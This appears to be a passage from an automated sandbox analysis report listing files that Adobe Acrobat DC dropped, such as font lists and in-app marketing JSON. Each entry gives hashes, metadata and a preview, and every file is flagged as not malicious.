SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2896

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.348891440190425
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJM3g98kUwPeUkwRe9:YvXKXP90DmcwGMbLUkee9
MD5:	CB20DE28A738B0D3D7727196F093F0C9
SHA1:	30F6E1000DE63C36CADEEC7280BC66CBA919ABD6
SHA-256:	6272289C6D1876A158614ACE7E4394A1541B1AD9EA2A89DBC2C2A1D56F62DF31
SHA-512:	4684132BB8C029688CA58251F6EC811C1EE3CC207733D1F222CB7F46332606E6D264DF3DB57448BC9BE1ACE3EDD1971BFD67116FD8E795ECF8F62EA716680959
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297980398226318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfBoTfXpnrPeUkwRe9:YvXKXP90DmcwGWTfXcUkee9
MD5:	EF05DA783B5A0D739C31A3EBE0412C68
SHA1:	7BE7CEACA54430DCFA2F4723879F465FDDCD814E
SHA-256:	82A8E451BC59CE9766673C791036B7CD351FD5ADC8EC1C63B93FA3270F1EB172
SHA-512:	BF25F10A627D046EE0C676206504C594FB3C030E54A5E2BB3FEE5193008E563F835A5C8AFE102814D6EED04EFB5341EFCD4D2AB1C6AF0CF7F28D7A0BF46BDA82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277985800992008
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfBD2G6UpnrPeUkwRe9:YvXKXP90DmcwGR22cUkee9
MD5:	ADBDA824D4DE44D28E60A2D93C6D7EC3
SHA1:	6BA97DC9FA06DEBA1F5EFD1CB00657B6F862B702
SHA-256:	AEA169D17838D771200532FD59B906F393F7EB800E39B8C7414D23A97E230DD3
SHA-512:	CA83E24BC50A2F94844F1A72C487C0A18187C61D1321083E893720895387A9D612E86DE280BD282FC54F747961826EE993118E609BE5FC3B908D9E15E10C3386
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.328406228270965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfPmwrPeUkwRe9:YvXKXP90DmcwGH56Ukee9
MD5:	50E39B30A19556BB2450C2D94222171E
SHA1:	6014EDF28C71C8F9476D1356BF1E40ED79A3A90D
SHA-256:	1F7B8EFA4F8D919B50D47E3892D2B84533C8F103CE62EF0DCC14A46735EFEC75
SHA-512:	38C878F733CCB06E731AB5A9BDE61E644DBBFF332D7857C02975CB1B9044A2D404BC84BC3108A7552C5844E6A48969C060CC1EFC82F4092EAC5FB489016DBB00
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688223789009723
Encrypted:	false
SSDEEP:	24:Yv6XP9wbtpLgE9cQx8LennAvzBvkn0RCmK8czOCCSe:YvLRhgy6SAFv5Ah8cv/e
MD5:	0E13D8FA720D596D2B030598B4F58E99
SHA1:	61933DFC296BBA391CAAEA91968DFCF1497ED73D
SHA-256:	034DC71B578060B9CE3885DF369D685A214A7C2CDBAB695D2D3CF080404D9F62
SHA-512:	6190ED6DDB95C3F2BC48AEDBBE5D5FB7F9CA6F6188D92620B9BBB442C15614ABE81A82CE366D9D76341A391163974EFDBF90191A72D5B6F98C99BB8650EFCA20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278266893206323
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJf8dPeUkwRe9:YvXKXP90DmcwGU8Ukee9
MD5:	130E9CCE581DA545BA9C3B2376123953
SHA1:	A8439F2BC87DA0CA4FE41CB186C32BEE30559BEA
SHA-256:	6B1045AD476BFEBF75C324497B1736A86AF5FC9F7C72B00A5562ABA59479648B
SHA-512:	A484AA42464C1DD4A0430E6F97E75D5AA07489AFFEBE1B35CEA4FCF94C4990652E854545A508D80E54EC94F15053C7096C3730E6F789C4F564DE9EE42526B6DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.279816145616401
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfQ1rPeUkwRe9:YvXKXP90DmcwGY16Ukee9
MD5:	07A38D30E8F29842BBEF8F38DD255FE2
SHA1:	98D48869360FBB0F7CEAD27D9FB06A4F649E673D
SHA-256:	C835646863DB5BC35F069D7270960E0F6D0BEBE23C587D18D147E57142B6DC39
SHA-512:	8BC6D9F6F50FADE0543EA1D6A8D35614681BAD2DF7FB51628CDAAD29461B5DCA012D0B21E838AB3FCAA0C1EB42F596B9A97F8F9C81A1D2EEAEEBA139467C2326
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290517906336763
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfFldPeUkwRe9:YvXKXP90DmcwGz8Ukee9
MD5:	C3C73E268DE74147D9BE7D0AECB9F7D6
SHA1:	2FF36527E17DC19944C5378C487104131DB75ABC
SHA-256:	409519A10679EA9D6D42E02CA7EF4B3E39E98E8FA4A8F58C7BFEF448886B4B15
SHA-512:	80F3FDDAAE0A77D247AD82CBCF7B6F60F0655C6BB20FC194857C56A62E1295179BF5F255B2172C2BA1FC36FB9B808307F201C8CB086F0E39DF9ADC042C0051D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.304176521558079
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfzdPeUkwRe9:YvXKXP90DmcwGb8Ukee9
MD5:	86D01F49A1D5A83FEFC002A8134C344E
SHA1:	F8E5F9B97644A027A376E55FF741133EF8357779
SHA-256:	2DC3FA633FC409063E724D7739F51D1A71959B0F55669E2B9327274C5EA7FFA0
SHA-512:	1AA33F4F333AF9E452C06F170CB6AB6EABDF37991AD6C4547B54B210CE2E084CAA10960F515D8C2AFCF3439B0C17418D919962FDDF22E2AE0499AC570C322E1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284211143156633
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfYdPeUkwRe9:YvXKXP90DmcwGg8Ukee9
MD5:	CB8631148BFDC37FE9C8C9EA1B3362E3
SHA1:	21578940B1FA0BADE8CEFFE14E94E6A96065181F
SHA-256:	4397F415C91C9D06298A30589AA81535310AAABAA5B2A24C00D454935C5AA630
SHA-512:	4B54F1BE109CC8BD8164B77156E61F6DFE7E7E4B3976762D03C9270A588BB01BF8612216EE23D6133E8C27403CEE5BEFC9AE31638650E2961D96FCF38523F360
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.27132847776188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJf+dPeUkwRe9:YvXKXP90DmcwG28Ukee9
MD5:	040432232A083CA5BA7BBD4714F292F2
SHA1:	4736221F63B9DA04EC3AD7FAB04338A35302E1C6
SHA-256:	DC8D0F589B82FC15A16480DD61F2760954213F3C3D33909F677D91467D31FAD1
SHA-512:	0DC6A914CBC1F3316E4734A4143CBFB016F913A78280344496525FE55B99D05263378E7E59F4895AE8806FA98F125608F95184B9DCB2CFCE10254EEC513E07DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267866755310521
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfbPtdPeUkwRe9:YvXKXP90DmcwGDV8Ukee9
MD5:	9463271AB85D5845E86F4BBD87F2EFBA
SHA1:	12550A578FCEADA8FED4677E1AADB16DE02804F0
SHA-256:	9545980E15D6722D9994747B8572F33ED98E032640009821FEE50B13F2A453C3
SHA-512:	DBFEFB5E72600BAEEE8AA2A296BD118C93B01BC250749D5E6C0318199270DE79A304A55E00579A27CE5EDBA04811996B28E7AF436CF41B9C2667C4FD89D2B52A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.270715153656025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJf21rPeUkwRe9:YvXKXP90DmcwG+16Ukee9
MD5:	70844A526139965B05BE2E034CFF0C22
SHA1:	F231C55C78B6BAB63D33E51F02A65AF64D2D06E2
SHA-256:	3BD20A1CF4E4856FD3BF8C034A689925CE1F68C4479A985674D39514E11561CE
SHA-512:	5706AD65C1777EAE0F4E91D7C4BB5621A4789163C88043EFA0B2AE3330A8F54754D86C3F076CFEB1DADBF031171F94619D9D56F3A48E537C5534D54CEAAA712B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662117895555249
Encrypted:	false
SSDEEP:	24:Yv6XP9wbVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSe:YvL9BgkDMUJUAh8cvMe
MD5:	CB183711E2B9C2649F226CE884065E2D
SHA1:	F9F04DADF9063F5A0F69B3E3A90A6CCD217C25E7
SHA-256:	520D9A187AB440992A1B3B53567AA6CEDD6BF4EC140AA03F8B87096F0E2A532D
SHA-512:	522D71958562AAB26C93F8F48046BC3A62E90940A73C9CD71449F2ABEF73652FE9886874D533805ADE98E7A1D2A62FD1975AFAD623F4CF9FE352F34CB6BD18B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2512143382881025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJfshHHrPeUkwRe9:YvXKXP90DmcwGUUUkee9
MD5:	E3C86032A3A0774386EFE0AF81C545C8
SHA1:	701CCA6A3848D6F2B79DC20B3A015C391A3CFAE8
SHA-256:	1E56B07391AD4A3C0C84E37E1F376810E91C1AB9361365BEB0439211FE31571C
SHA-512:	13FC9EDF2F662848D022EDD20250583CF096D326F19CE9987D2B6DD9DDAE67B284D6905273F3D258B7A0E979967743B6AAE257B62A941E7A0AC75C66BDC45BF2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.249687427755235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPHd0DvQeGnZiQ0YQsVJKoAvJTqgFCrPeUkwRe9:YvXKXP90DmcwGTq16Ukee9
MD5:	0E402026B12B7477B3991D518857FCA4
SHA1:	7CD677DDC58F2207F9B056F9789D6CB5D40EE794
SHA-256:	AB82543690391F2F6691508E48DB2B4C8CEDE41CE1D222DFF83F3446583F81CC
SHA-512:	33340F6D16D62867C76F089F66F3357E8DFC424825EB79818A1C670DB3D68826B1FB661F2252F1C4664C3C59113630B450C482374B40837164BFA62DF23574CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee2b63e5-2ac9-4822-9e24-1002e6e5fb43","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736760870790,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136434644875793
Encrypted:	false
SSDEEP:	48:YsGWK1gRf27Ixm8Z43LlPPJsME1cMUEp9sX:c51gR27Ixm8Z4blpMmMUMU
MD5:	801845474CA566FB442BEB9254665748
SHA1:	CDA96F28970E5116448914AD421C954D1D56CE09
SHA-256:	D787E28AEFB73101FEDA061AC8DA849374CBF02462E845A86327100296EFBE20
SHA-512:	068D8C2BD4CB852EAC4656D3C6855FA5650F821FD593CE78A1A9FA707A6EC4A4F8B483C8B68BCD636365166CB70C81B9BFB379405E9641ED9D4B39E7BF92B920
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5efce057796924b07a10988fa1cceda8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736582836000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"994cb112a36dff6582ee8d98ec0226ab","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736582835000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bcb347a0734d0311d6a62aeb11eb4b2e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736582835000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"25113a05f3b206d6866fe84db44213bf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736582835000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6f4c05ae4bd2b30064724e7cfb2301db","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736582835000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e84955ab198b0984e8eb2c54241496ad","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146516004440908
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursu8gfORZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUE:TFl2GL7msu/QXc+XcGNFlRYIX2v3kJ/W
MD5:	D08E4DE4DED9AE5E9E5B163C286E3989
SHA1:	0C442169BD0568D5961AD57F7657321D03D6D8BF
